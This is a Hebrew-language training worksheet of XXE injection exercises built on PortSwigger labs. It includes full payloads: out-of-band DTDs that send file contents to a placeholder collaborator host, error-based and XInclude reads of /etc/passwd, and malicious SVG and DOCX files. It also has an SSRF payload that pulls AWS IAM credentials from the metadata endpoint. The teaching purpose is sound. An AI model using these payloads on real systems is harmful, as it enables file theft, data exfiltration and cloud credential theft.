לדלג לתוכן

הזרקת XML מתקדמת - תרגיל

תרגיל 1 - Blind XXE עם OOB

PortSwigger Lab: Blind XXE with out-of-band interaction

משימות

  1. מצאו נקודה באפליקציה שמקבלת XML
  2. שלחו payload בסיסי של XXE - וודאו שאין פלט ישיר
  3. הגדירו Burp Collaborator
  4. שלחו payload עם OOB:
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://YOUR-COLLABORATOR.oastify.com">
  %xxe;
]>
<stockCheck><productId>1</productId></stockCheck>
  1. בדקו ב-Collaborator שהבקשה הגיעה

תרגיל 2 - חילוץ נתונים OOB

PortSwigger Lab: Blind XXE with out-of-band interaction via XML parameter entities

משימות

  1. הכינו DTD זדוני בשרת שלכם:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://YOUR-COLLABORATOR.oastify.com/?data=%file;'>">
%eval;
%exfil;
  1. שלחו את ה-payload שטוען את ה-DTD:
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://YOUR-SERVER/evil.dtd">
  %xxe;
]>
<stockCheck><productId>1</productId></stockCheck>
  1. בדקו ב-Collaborator שקיבלתם את הנתונים
  2. חלצו קבצים נוספים: /etc/passwd, קונפיגורציות

תרגיל 3 - Error-based XXE

PortSwigger Lab: Exploiting blind XXE to retrieve data via error messages

משימות

  1. גלו שה-OOB הרגיל לא עובד (חומת אש)
  2. הכינו DTD שמשתמש בשגיאות לחילוץ:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
  1. בדקו שהנתונים מופיעים בהודעת השגיאה
  2. חלצו את הקובץ הנדרש

תרגיל 4 - XXE דרך SVG

משימות

  1. מצאו פונקציית העלאת תמונות באפליקציה
  2. צרו קובץ SVG זדוני:
<?xml version="1.0"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="200">
  <text x="10" y="50" font-size="20">&xxe;</text>
</svg>
  1. העלו את ה-SVG ובדקו אם התוכן מוצג
  2. אם עובד, חלצו קבצים רגישים

תרגיל 5 - XXE דרך DOCX

משימות

  1. מצאו פונקציה שמקבלת קבצי DOCX (מערכת קורות חיים, מערכת מסמכים)
  2. צרו DOCX זדוני:
# צרו DOCX חדש או השתמשו בקיים
mkdir evil_docx && cd evil_docx
unzip ../template.docx

# ערכו את word/document.xml - הוסיפו DOCTYPE עם XXE
# ארזו חזרה
zip -r ../malicious.docx .
  1. העלו את ה-DOCX ובדקו תגובת השרת
  2. נסו גם עם XLSX

תרגיל 6 - XInclude

PortSwigger Lab: Exploiting XInclude to retrieve files

משימות

  1. מצאו נקודה שבה ערך שלכם מוכנס לתוך XML (אבל אין לכם שליטה על ה-DOCTYPE)
  2. השתמשו ב-XInclude:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>
  1. נסו להכניס את ה-XInclude בתוך ערך של שדה רגיל
  2. חלצו קובץ רגיש

תרגיל 7 - XXE ל-SSRF

משימות

  1. בסביבה עם AWS (או סימולציה), השתמשו ב-XXE לגישה ל-metadata:
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>
  1. חלצו את ה-IAM role name
  2. חלצו את ה-security credentials
  3. הראו כיצד ניתן להשתמש ב-credentials שחילצתם

תרגיל 8 - כל מעבדות PortSwigger

השלימו את כל המעבדות של PortSwigger בנושא XXE:

  1. Exploiting XXE using external entities to retrieve files (Apprentice)
  2. Exploiting XXE to perform SSRF attacks (Apprentice)
  3. Blind XXE with out-of-band interaction (Practitioner)
  4. Blind XXE with out-of-band interaction via XML parameter entities (Practitioner)
  5. Exploiting blind XXE to exfiltrate data using a malicious external DTD (Practitioner)
  6. Exploiting blind XXE to retrieve data via error messages (Practitioner)
  7. Exploiting XInclude to retrieve files (Practitioner)
  8. Exploiting XXE via image file upload (Practitioner)

לכל מעבדה תעדו

  • את סוג ה-XXE (רגיל/עיוור/error-based)
  • את ה-DTD או payload שהשתמשתם בו
  • את הנתונים שחילצתם
  • את שיטת ההגנה המתאימה

תרגיל 9 - בניית כלי XXE

משימות

כתבו סקריפט Python שמבצע:

  1. בדיקה האם endpoint פגיע ל-XXE
  2. ניסיון חילוץ קובץ ישיר
  3. ניסיון OOB עם שרת מקבל
  4. ניסיון error-based
  5. ניסיון XInclude
import requests

class XXEScanner:
    def __init__(self, url, content_type='application/xml'):
        self.url = url
        self.content_type = content_type

    def test_basic_xxe(self, file_path='/etc/hostname'):
        """בדיקת XXE בסיסי"""
        # השלימו
        pass

    def test_blind_xxe(self, collaborator_url):
        """בדיקת blind XXE עם OOB"""
        # השלימו
        pass

    def test_error_based(self, file_path):
        """בדיקת error-based XXE"""
        # השלימו
        pass

    def test_xinclude(self, file_path):
        """בדיקת XInclude"""
        # השלימו
        pass

אתגר מסכם

תרחיש

מצאתם אפליקציה עם מספר נקודות שמקבלות XML:
- POST /api/check-stock - בדיקת מלאי (XML body)
- POST /upload/avatar - העלאת תמונת פרופיל (תומך SVG)
- POST /import/data - ייבוא נתונים (XLSX)
- POST /api/soap - שירות SOAP

משימות

  1. בדקו כל נקודה ל-XXE בסיסי
  2. עבור נקודות עם blind XXE - השתמשו ב-OOB
  3. העלו SVG זדוני
  4. צרו XLSX זדוני
  5. נסו XXE דרך SOAP
  6. בצעו SSRF דרך XXE לגישה לשירותים פנימיים
  7. חלצו את הקובץ /flag.txt
  8. כתבו דוח מסכם עם כל הממצאים